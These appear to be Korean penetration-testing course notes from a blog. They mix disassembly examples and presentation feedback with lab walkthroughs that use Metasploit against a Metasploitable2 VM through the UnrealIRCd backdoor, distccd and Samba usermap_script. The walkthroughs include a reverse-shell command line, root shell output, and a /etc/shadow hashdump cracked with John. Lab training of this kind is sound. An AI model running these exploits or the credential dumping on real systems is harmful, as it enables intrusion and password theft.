        movl    8(%ebp), %eax
        leave
        ret
.Lfe1:
        .size   function,.Lfe1-function
.globl main
        .type   main,@function
main:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $8, %esp
        andl    $-16, %esp
        movl    $0, %eax
        subl    %eax, %esp
        subl    $8, %esp
        pushl   $2
        pushl   $1
        call    function
        addl    $16, %esp
        movl    %eax, -4(%ebp)
        movl    $0, %eax
        leave


[EX2] sample.c (C 언어) -----> sample (바이너리) -----> disassemble (어셈블리어)
$ gcc -o sample sample.c
$ file *

sample:      ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), for GNU/Linux 2.2.5, dynamically

linked (uses shared libs), not stripped
sample.a:    ASCII assembler program text
sample.c:    ASCII C program text


$ gdb -q sample

(gdb) disassemble main
Dump of assembler code for function main:
0x08048305 <main+0>:    push   %ebp
0x08048306 <main+1>:    mov    %esp,%ebp
0x08048308 <main+3>:    sub    $0x8,%esp
0x0804830b <main+6>:    and    $0xfffffff0,%esp
0x0804830e <main+9>:    mov    $0x0,%eax
0x08048313 <main+14>:   sub    %eax,%esp
0x08048315 <main+16>:   sub    $0x8,%esp
0x08048318 <main+19>:   push   $0x2
0x0804831a <main+21>:   push   $0x1
0x0804831c <main+23>:   call   0x80482f4 <function>
0x08048321 <main+28>:   add    $0x10,%esp
0x08048324 <main+31>:   mov    %eax,0xfffffffc(%ebp)
0x08048327 <main+34>:   mov    $0x0,%eax
0x0804832c <main+39>:   leave
0x0804832d <main+40>:   ret
0x0804832e <main+41>:   nop
0x0804832f <main+42>:   nop
End of assembler dump.




(정리)
sample.c (C 언어) -----> sample.a (어셈블리어)
sample.c (C 언어) -----> sample   (바이너리) -----> disassemble (어셈블리어)



















'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160706 리버싱  (0) 2016.07.06
20160705 리버싱  (0) 2016.07.05
20160701 프로젝트#2 피드백  (0) 2016.07.01
20160624 프로젝트#2  (0) 2016.06.24
20160624 정보수집단계  (0) 2016.06.24
Posted by 22Hz
, |

발표용 단어, 평소에 많이 연습

본인도 모르게 나오는 단어 줄이고

구어체 줄이고, 발표용 단어를 적당한 순간에 섞어서

동영상 모니터링 > 어떤 부분이 부족한지 파악

말과 말이 이어져야 하는데 이어지지 않는 부분이 있다

평소에도 접속사 같은것 많이 쓰면서 습관을 들일것

영어발음도 느리게, 발음이 틀려도 상관없다 확실하게만

발표가 끊김없이 쉼없이 이야기하도록 하자 > 청자가 듣기좋게 느끼도록

넉넉, 여유, 한곳만 보지말고 여러군데를 보면서 움직이면서


컨텐츠에 대한 미약성

10가지 했다 20가지 했다 누가했다 언제했다 하는 정보가 포함되어있어야 한다
그런 내용이 없다면 말로 설명을 해야한다

최대한 많은 버그를 찾아내라 > 5일이라는 시간에 비해 결과물이 부족

이론, 원리, 버그에 대한 조사, 실습과정에 대한 자세한 분석이 있으면 좋았을듯

보안대책 부분은 보강을 해야할거같다

다음 프로젝트는 2~3주 뒤에

다음 발표에는 참신한 아이디어가 포함되어있었으면 좋겠다

듣는사람들이 지겹지않게끔

컨텐츠의 차이도 있겠지만, 전달하는 방법의 차이가 큰거같다

독창적인 아이디어를 발표에 가미 > 좋은 방법

비교분석 등

한만큼은 보여줬으면 좋겠다

딱딱할수밖에 없는 내용을 좋은방법으로 전달할수 있게끔


간단한 소감, 한줄평가 등 들어가있으면 좋겠다


마지막은 덕담으로 끝나야 좋은거다 > 들어주시느라 고생하셨습니다 감사합니다



'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160705 리버싱  (0) 2016.07.05
20160704 리버싱  (0) 2016.07.04
20160624 프로젝트#2  (0) 2016.06.24
20160624 정보수집단계  (0) 2016.06.24
20160623 정보수집단계  (0) 2016.06.23
Posted by 22Hz
, |

 

   모의해킹 침해대응 전문가 과정
        제 2 차 프로젝트

 


프로젝트 개요
--------------------------------------------------------------------
프로젝트 목적:
 친목 도모, 문서 작성 요령 습득, 발표 자세
   +
 모의 해킹 절차 습득

프로젝트 기간:
 06월27일(월) ~ 07월01일(금)

프로젝트 발표:
 07월01일(월)
 - 보고서 1부(한글)
 - 발표자료 1부(파워포인트)
 
프로젝트 개요:
 Metasploitable2 Linux 서버에 대한 취약점 분석
--------------------------------------------------------------------

제 01조 :
제 02조 :
제 03조 :
제 04조 :
제 05조 :
제 06조 :
제 07조 :


파일생성
--------------------------------------------------------------------
\\172.16.13.1
\Security과정공유디렉토리
\00_공지사항
\제08기_오전반_제2차_프로젝트
\<각 조 디렉토리>

 파일이름: 제01조_Meta서버취약점분석.txt

 

(제01조_Meta서버취약점분석.txt) 파일 내용:
--------------------------------------------------------------------
1. 프로젝트 주제: Metasploitable2 Linux 서버의 취약점 분석

2. 프로젝트 개요:
 (1) Metasploitable2 Linux 서버의 여러가지 취약점을 분석한다.
 (2)
 (3)

3. 프로젝트 구성원:
 (홍길동) 취약점 스캔(nessus)
 (홍길동) 취약점 스캔(armitage)
 (홍길동) 문서 작업
--------------------------------------------------------------------

      파일이름: 제01조_발표자료.ppt
            제01조_보고서.hwp

 

 

 

 

 


 

Meta_V2_01_vnwa2i.pdf

 

'모의해킹 침해대응 전문가 과정' 카테고리의 다른 글

20160704 리버싱  (0) 2016.07.04
20160701 프로젝트#2 피드백  (0) 2016.07.01
20160624 정보수집단계  (0) 2016.06.24
20160623 정보수집단계  (0) 2016.06.23
20160622 정보수집단계  (0) 2016.06.22
Posted by 22Hz
, |

========================================================================================================
C언어
어셈블리어 -> C언어
배열, 구조체, 스트링, 메모리, 포인터 등
========================================================================================================

(4) 버그를 공격하는 경우(Backdoor 존재하는 취약점)

■ 실습 시스템
- KaliLinux (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

What UnrealRCd?
UnrealIRCd is an open source IRC daemon, originally based on DreamForge, and is available for Unix-like operating systems and Windows. Since the beginning of development on UnrealIRCd circa May 1999, many new features have been added and modified, including advanced security features and bug fixes, and it has become a popular server.

UnrealRCd Bug?
On port 6667, Metasploitable2 runs the UnreaIRCD IRC daemon. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell.

This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

exploit/unix/irc/unreal_ircd_3281_backdoor
This module exploits a malicious backdoor that was added to the Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.

■ 취약점 공격 과정(Backdoor 존재하는 취약점)
(KaliLinux)
① UnrealRCD daemon 확인
# nmap -sV 192.168.10.134    (# nmap -sV 192.168.10.134 2>&1 | tee -a scan.txt)

Starting Nmap 7.01 ( https://nmap.org ) at 2016-03-31 21:40 KST
Nmap scan report for 192.168.10.134
Host is up (0.000094s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.66 seconds

-> Unreal ircd는 port 6667과 6697 포트를 사용한다.
    [참고] 자세하게 점검하는 방법은 아래와 같다.
    # nmap -p 1-65535 -T4 -A -v 192.168.10.134 2>&1 | tee scan.txt
    # egrep -i '(6667|6697|ircd)' scan.txt
    Discovered open port 6697/tcp on 192.168.10.134
    Discovered open port 6667/tcp on 192.168.10.134
    6667/tcp  open  irc         Unreal ircd
    6697/tcp  open  irc         Unreal ircd

② wireshark 실행하여 패킷을 분석
# wireshark &
-> 패킷을 분석한다.

③ msfconsole 실행
# msfconsole -q

msf > search unreal_ircd

Matching Modules
================

   Name                                        Disclosure Date  Rank       Description
   ----                                        ---------------  ----       -----------
   exploit/unix/irc/unreal_ircd_3281_backdoor  2010-06-12       excellent  UnrealIRCD 3.2.8.1 Backdoor Command Execution


msf > use exploit/unix/irc/unreal_ircd_3281_backdoor
msf exploit(unreal_ircd_3281_backdoor) > show options

Module options (exploit/unix/irc/unreal_ircd_3281_backdoor):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  6667             yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target


msf exploit(unreal_ircd_3281_backdoor) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(unreal_ircd_3281_backdoor) > run

[*] Started reverse TCP double handler on 192.168.10.50:4444
[*] Connected to 192.168.10.134:6667...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Looking up your hostname...
    :irc.Metasploitable.LAN NOTICE AUTH :*** Couldn't resolve your hostname; using your IP address instead
[*] Sending backdoor command...
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo AshVia2s0tz2A7vZ;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "AshVia2s0tz2A7vZ\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.134:54360) at 2016-03-31 22:10:01 +0900

id
uid=0(root) gid=0(root)
hostname
metasploitable
^C
Abort session 2? [y/N]  y

[*] 192.168.10.134 - Command shell session 2 closed.  Reason: User exit
msf exploit(unreal_ircd_3281_backdoor) > edit
...... (중략) .....
 57   def exploit
 58     connect
 59
 60     print_status("Connected to #{rhost}:#{rport}...")
 61     banner = sock.get_once(-1, 30)
 62     banner.to_s.split("\n").each do |line|
 63       print_line("    #{line}")
 64     end
 65
 66     print_status("Sending backdoor command...")
 67     sock.put("AB;" + payload.encoded + "\n")
 68
 69     # Wait for the request to be handled
 70     1.upto(120) do
 71       break if session_created?
 72       select(nil, nil, nil, 0.25)
 73       handler()
 74     end
 75     disconnect
 76   end
 77 end
:q!
msf exploit(unreal_ircd_3281_backdoor) >



④ 분석 보고서를 작성한다.
unreal_ircd_3281_backdoor.rb 파일과 패킷을 분석하여 보고서를 작성한다.(과제 : 30분)
- (ㄱ) 패킷분석
- (ㄴ) 프로그램 분석
- (ㄷ) 패킷/프로그램 분석결과와 "공격개요" 부분에 대한 이해





(5) 버그를 공격하는 경우(Backdoor 존재하는 취약점)

■ 실습 시스템
- KaliLinux (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

Security weakness to execute arbitrary commands on any system running distccd.

■ 취약점 공격 과정(distccd Backdoor 존재하는 취약점)
(KaliLinux)
① distccd 데몬 확인
# nmap -p 3632 192.168.10.134

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-01 19:20 KST
Nmap scan report for 192.168.10.134
Host is up (0.00030s latency).
PORT     STATE SERVICE
3632/tcp open  distccd
MAC Address: 00:0C:29:FA:DD:2A (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.16 seconds


② msfconsole 실행 후 공격
# msfconsole -q

msf > search distcc

Matching Modules
================

   Name                           Disclosure Date  Rank       Description
   ----                           ---------------  ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution


msf > use exploit/unix/misc/distcc_exec
msf exploit(distcc_exec) > show options

Module options (exploit/unix/misc/distcc_exec):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic Target

msf exploit(distcc_exec) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(distcc_exec) > run

[*] Started reverse TCP double handler on 192.168.10.50:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo pX7hrrhiIh6Lt5w2;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "pX7hrrhiIh6Lt5w2\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.134:60579) at 2016-04-01 19:24:46 +0900

id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
pwd
/tmp
hostname
metasploitable
ifconfig eth0
..... (중략) .....


-> (주의) 이 창을 종료하면 안된다. 아래 실습에서 사용이 된다.



(6) 버그를 공격하는 경우(samba 취약점 존재)

■ 실습 시스템
- KaliLinux (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

Exploit CVE 2007-2447

The MS-RPC functionality in smbd in Samba 3.0.0 through 3.0.25rc3 allows remote attackers to execute arbitrary commands via shell metacharacters involving the (1) SamrChangePassword function, when the "username map script" smb.conf option is enabled, and allows remote authenticated users to execute commands via shell metacharacters involving other MS-RPC functions in the (2) remote printer and (3) file share management.

The root cause is passing unfiltered user input provided via MS-RPC calls to /bin/sh when invoking externals scripts defined in smb.conf.

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-2447
http://www.samba.org/samba/security/CVE-2007-2447.html


■ 취약점 공격 과정(samba 취약점 존재)
(KaliLinux)
① samba 서비스 확인
# nmap -sV 192.168.10.134

Starting Nmap 7.01 ( https://nmap.org ) at 2016-04-04 19:43 KST
Nmap scan report for 192.168.10.134
Host is up (0.000099s latency).
Not shown: 977 closed ports
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login?
514/tcp  open  tcpwrapped
1099/tcp open  rmiregistry GNU Classpath grmiregistry
1524/tcp open  shell       Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         Unreal ircd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
8180/tcp open  http        Apache Tomcat/Coyote JSP engine 1.1
MAC Address: 00:0C:29:FA:DD:2A (VMware)
Service Info: Hosts:  metasploitable.localdomain, localhost, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 14.35 seconds




② msfconsole 실행
# msfconsole -q

msf > search samba

Matching Modules
================

   Name                                            Disclosure Date  Rank       Description
   ----                                            ---------------  ----       -----------
   auxiliary/admin/smb/samba_symlink_traversal                      normal     Samba Symlink Directory Traversal
   auxiliary/dos/samba/lsa_addprivs_heap                            normal     Samba lsa_io_privilege_set Heap Overflow
   auxiliary/dos/samba/lsa_transnames_heap                          normal     Samba lsa_io_trans_names Heap Overflow
   auxiliary/dos/samba/read_nttrans_ea_list                         normal     Samba read_nttrans_ea_list Integer Overflow
   auxiliary/scanner/rsync/modules_list                             normal     List Rsync Modules
   auxiliary/scanner/smb/smb_uninit_cred                            normal     Samba _netr_ServerPasswordSet Uninitialized Credential State
   exploit/freebsd/samba/trans2open                2003-04-07       great      Samba trans2open Overflow (*BSD x86)
   exploit/linux/samba/chain_reply                 2010-06-16       good       Samba chain_reply Memory Corruption (Linux x86)
   exploit/linux/samba/lsa_transnames_heap         2007-05-14       good       Samba lsa_io_trans_names Heap Overflow
   exploit/linux/samba/setinfopolicy_heap          2012-04-10       normal     Samba SetInformationPolicy AuditEventsInfo Heap Overflow
   exploit/linux/samba/trans2open                  2003-04-07       great      Samba trans2open Overflow (Linux x86)
   exploit/multi/samba/nttrans                     2003-04-07       average    Samba 2.2.2 - 2.2.6 nttrans Buffer Overflow
   exploit/multi/samba/usermap_script              2007-05-14       excellent  Samba "username map script" Command Execution
   exploit/osx/samba/lsa_transnames_heap           2007-05-14       average    Samba lsa_io_trans_names Heap Overflow
   exploit/osx/samba/trans2open                    2003-04-07       great      Samba trans2open Overflow (Mac OS X PPC)
   exploit/solaris/samba/lsa_transnames_heap       2007-05-14       average    Samba lsa_io_trans_names Heap Overflow
   exploit/solaris/samba/trans2open                2003-04-07       great      Samba trans2open Overflow (Solaris SPARC)
   exploit/unix/misc/distcc_exec                   2002-02-01       excellent  DistCC Daemon Command Execution
   exploit/unix/webapp/citrix_access_gateway_exec  2010-12-21       excellent  Citrix Access Gateway Command Execution
   exploit/windows/fileformat/ms14_060_sandworm    2014-10-14       excellent  MS14-060 Microsoft Windows OLE Package Manager Code Execution
   exploit/windows/http/sambar6_search_results     2003-06-21       normal     Sambar 6 Search Results Buffer Overflow
   exploit/windows/license/calicclnt_getconfig     2005-03-02       average    Computer Associates License Client GETCONFIG Overflow
   exploit/windows/smb/group_policy_startup        2015-01-26       manual     Group Policy Script Execution From Shared Resource
   post/linux/gather/enum_configs                                   normal     Linux Gather Configurations


msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > show options

Module options (exploit/multi/samba/usermap_script):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  139              yes       The target port


Exploit target:

   Id  Name
   --  ----
   0   Automatic


msf exploit(usermap_script) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(usermap_script) > show payloads

Compatible Payloads
===================

   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_awk                                    normal  Unix Command Shell, Bind TCP (via AWK)
   cmd/unix/bind_inetd                                  normal  Unix Command Shell, Bind TCP (inetd)
   cmd/unix/bind_lua                                    normal  Unix Command Shell, Bind TCP (via Lua)
   cmd/unix/bind_netcat                                 normal  Unix Command Shell, Bind TCP (via netcat)
   cmd/unix/bind_netcat_gaping                          normal  Unix Command Shell, Bind TCP (via netcat -e)
   cmd/unix/bind_netcat_gaping_ipv6                     normal  Unix Command Shell, Bind TCP (via netcat -e) IPv6
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/bind_zsh                                    normal  Unix Command Shell, Bind TCP (via Zsh)
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double Reverse TCP (telnet)
   cmd/unix/reverse_awk                                 normal  Unix Command Shell, Reverse TCP (via AWK)
   cmd/unix/reverse_lua                                 normal  Unix Command Shell, Reverse TCP (via Lua)
   cmd/unix/reverse_netcat                              normal  Unix Command Shell, Reverse TCP (via netcat)
   cmd/unix/reverse_netcat_gaping                       normal  Unix Command Shell, Reverse TCP (via netcat -e)
   cmd/unix/reverse_openssl                             normal  Unix Command Shell, Double Reverse TCP SSL (openssl)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_php_ssl                             normal  Unix Command Shell, Reverse TCP SSL (via php)
   cmd/unix/reverse_python                              normal  Unix Command Shell, Reverse TCP (via Python)
   cmd/unix/reverse_python_ssl                          normal  Unix Command Shell, Reverse TCP SSL (via python)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)
   cmd/unix/reverse_zsh                                 normal  Unix Command Shell, Reverse TCP (via Zsh)

msf exploit(usermap_script) > set PAYLOAD cmd/unix/reverse
PAYLOAD => cmd/unix/reverse
msf exploit(usermap_script) > set LHOST 192.168.10.50
LHOST => 192.168.10.50
msf exploit(usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.10.50:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo wN8MAKVXzmbCnenO;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "wN8MAKVXzmbCnenO\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.134:58283) at 2016-04-04 20:06:04 +0900

hostname
metasploitable
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
id
uid=0(root) gid=0(root)



(Metasploitable V2 Linux)
③ Metasploitable V2 Linux 서버에서 분석 작업
$ id

uid=1000(msfadmin) gid=1000(msfadmin) groups=4(adm),20(dialout),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),107(fuse),111(lpadmin),112(admin),119(sambashare),1000(msfadmin)


$ sudo su -

[sudo] password for msfadmin: (msfadmin)


■ metasploit session 확인
# alias grep='grep --color'
# netstat -anp | head -2 ; netstat -anp | grep :4444

Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 192.168.10.134:58284    192.168.10.50:4444      ESTABLISHED 5721/telnet
tcp        0      0 192.168.10.134:58283    192.168.10.50:4444      ESTABLISHED 5718/telnet


■ Reverse Telnet 확인
# ps -ef | grep 5721 | grep -v grep

UID        PID  PPID  C STIME TTY          TIME CMD
root      5721     1  0 07:05 ?        00:00:00 telnet 192.168.10.50 4444


# ps -ef | grep 5718 | grep -v grep

UID        PID  PPID  C STIME TTY          TIME CMD
root      5718     1  0 07:05 ?        00:00:00 telnet 192.168.10.50 4444


■ Metasploit 서버에 붙어 있는 /bin/sh 세션 확인
# ps -ef | grep 4444 | grep -v grep

UID        PID  PPID  C STIME TTY          TIME CMD
root      5718     1  0 07:05 ?        00:00:00 telnet 192.168.10.50 4444
root      5719     1  0 07:05 ?        00:00:00 sh -c (sleep 4063|telnet 192.168.10.50 4444|while : ; do sh && break; done 2>&1|telnet 192.168.10.50 4444 >/dev/null 2>&1 &)
root      5721     1  0 07:05 ?        00:00:00 telnet 192.168.10.50 4444

● 사용한 "cmd/unix/reverse" : "Unix Command Shell, Double Reverse TCP (telnet)"는 telnet 세션(sessions)을 2개 이루는 프로그램으로 판단이 된다.

(KaliLinux)
④ 분석 작업이 완료 되었다면 msfconsole 세션 종료

..... (중략) .....
^C
Abort session 1? [y/N]  y

[*] 192.168.10.134 - Command shell session 1 closed.  Reason: User exit
msf exploit(usermap_script) > exit


⑤ /etc/shadow 파일의 Hash dump 작업
# msfconsole -q

msf > use exploit/multi/samba/usermap_script
msf exploit(usermap_script) > set RHOST 192.168.10.134
RHOST => 192.168.10.134
msf exploit(usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.10.50:4444
[*] Accepted the first client connection...
[*] Accepted the second client connection...
[*] Command: echo OcPfxno0Q9dF46uW;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets...
[*] Reading from socket B
[*] B: "OcPfxno0Q9dF46uW\r\n"
[*] Matching...
[*] A is input...
[*] Command shell session 1 opened (192.168.10.50:4444 -> 192.168.10.134:55317) at 2016-04-05 14:15:13 +0900

^Z
Background session 1? [y/N]  y
msf exploit(usermap_script) > sessions -l

Active sessions
===============

  Id  Type        Information  Connection
  --  ----        -----------  ----------
  1   shell unix               192.168.10.50:4444 -> 192.168.10.134:55317 (192.168.10.134)

msf exploit(usermap_script) > use post/linux/gather/hashdump
msf post(hashdump) > show options

Module options (post/linux/gather/hashdump):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SESSION                   yes       The session to run this module on.

msf post(hashdump) > set SESSION 1
SESSION => 1
msf post(hashdump) > exploit

[+] root:$1$CmDHSTw9$Ei9EjfjLrTkGgX7atpnlW0:0:0:root:/root:/bin/bash
[+] sys:$1$fUX6BPOt$Miyc3UpOzQJqz4s5wFD9l0:3:3:sys:/dev:/bin/sh
[+] klog:$1$f2ZVMS4K$R9XkI.CmLdHhdUE3X9jqP0:103:104::/home/klog:/bin/false
[+] msfadmin:$1$XN10Zj2c$Rt/zzCW3mLtUWA.ihZjA5/:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
[+] postgres:$1$Rw35ik.x$MgQgZUuO5pAoUvfJhfcYe/:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
[+] user:$1$HESu9xrH$k.o3G93DGoXIiQKkPmUgZ0:1001:1001:just a user,111,,:/home/user:/bin/bash
[+] service:$1$kR3ue7JZ$7GxELDupr5Ohp6cjZ3Bu//:1002:1002:,,,:/home/service:/bin/bash
[+] user1:$1$N6t1HJDU$fN1iwuakspABsXj..4lmf/:1003:1003::/home/user1:/bin/bash
[+] Unshadowed Password File: /root/.msf5/loot/20160405141842_default_192.168.10.134_linux.hashes_958442.txt
[*] Post module execution completed
msf post(hashdump) > exit
[*] You have active sessions open, to exit anyway type "exit -y"
msf post(hashdump) > exit -y


# john /root/.msf5/loot/20160405141842_default_192.168.10.134_linux.hashes_958442.txt

Warning: detected hash type "md5crypt", but the string is also recognized as "aix-smd5"
Use the "--format=aix-smd5" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 8 password hashes with 8 different salts (md5crypt, crypt(3) $1$ [MD5 128/128 XOP 4x2])
Remaining 7 password hashes with 7 different salts
Press 'q' or Ctrl-C to abort, almost any other key for status
postgres         (postgres)
user             (user)
msfadmin         (msfadmin)
user1            (user1)
service          (service)
123456789        (klog)
batman           (sys)
7g 0:00:00:00 DONE 2/3 (2016-04-05 14:22) 21.87g/s 18800p/s 18884c/s 18884C/s asdfgh..fishing
Use the "--show" option to display all of the cracked passwords reliably
Session completed


# john --show /root/.msf5/loot/20160405141842_default_192.168.10.134_linux.hashes_958442.txt

root:soldesk1.:0:0:root:/root:/bin/bash
sys:batman:3:3:sys:/dev:/bin/sh
klog:123456789:103:104::/home/klog:/bin/false
msfadmin:msfadmin:1000:1000:msfadmin,,,:/home/msfadmin:/bin/bash
postgres:postgres:108:117:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
user:user:1001:1001:just a user,111,,:/home/user:/bin/bash
service:service:1002:1002:,,,:/home/service:/bin/bash
user1:user1:1003:1003::/home/user1:/bin/bash

8 password hashes cracked, 0 left


# cd /root/.msf5/loot
# ls -l

합계 12
-rw-r--r-- 1 root root 1361  4월  5 14:18 20160405141841_default_192.168.10.134_linux.shadow_027812.txt
-rw-r--r-- 1 root root  649  4월  5 14:18 20160405141842_default_192.168.10.134_linux.hashes_958442.txt
-rw-r--r-- 1 root root 1749  4월  5 14:18 20160405141842_default_192.168.10.134_linux.passwd_741349.txt


다음 파일들의 내용을 확인한다.
# cat 20160405141842_default_192.168.10.134_linux.passwd_741349.txt
# cat 20160405141841_default_192.168.10.134_linux.shadow_027812.txt
# cat 20160405141842_default_192.168.10.134_linux.hashes_958442.txt





(7) 버그를 공격하는 경우(RMI 취약점 존재)

■ 실습 시스템
- KaliLinux (EX: attacker system)
- Metasploitable V2 Linux (EX: victim system)

■ 공격의 개요

● What RMI?
The RMI protocol makes use of two other protocols for its on-the-wire format: Java Object Serialization and HTTP. The Object Serialization protocol is used to marshal call and return data. The HTTP protocol is used to "POST" a remote method invocation and obtain return data when circumstances warrant. Each protocol is documented as a separate grammar. Nonterminal symbols in production rules may refer to rules governed by another protocol (either Object Serialization or HTTP). When a protocol boundary is crossed, subsequent productions use that embedded protocol.

● exploit/multi/misc/java_rmi_server
This module takes advantage of the default configuration of the RMI Registry and RMI Activation services, which allow loading classes from any remote (HTTP) URL. As it invokes a method in the RMI Distributed Garbage Collector which is available via every RMI endpoint, it can be used against both rmiregistry and rmid, and against most other (custom) RMI endpoints as well. Note that it does not work against Java Management Extension (JMX) ports since those do not support remote class loading, unless another RMI endpoint is active in the same Java process. RMI method calls do not support or require any sort of authentication


■ 취약점 공격 과정(RMI 취약점 존재)
(KaliLinux)
① rmregistry server 포트 확인
# msfconsole -q

msf > help
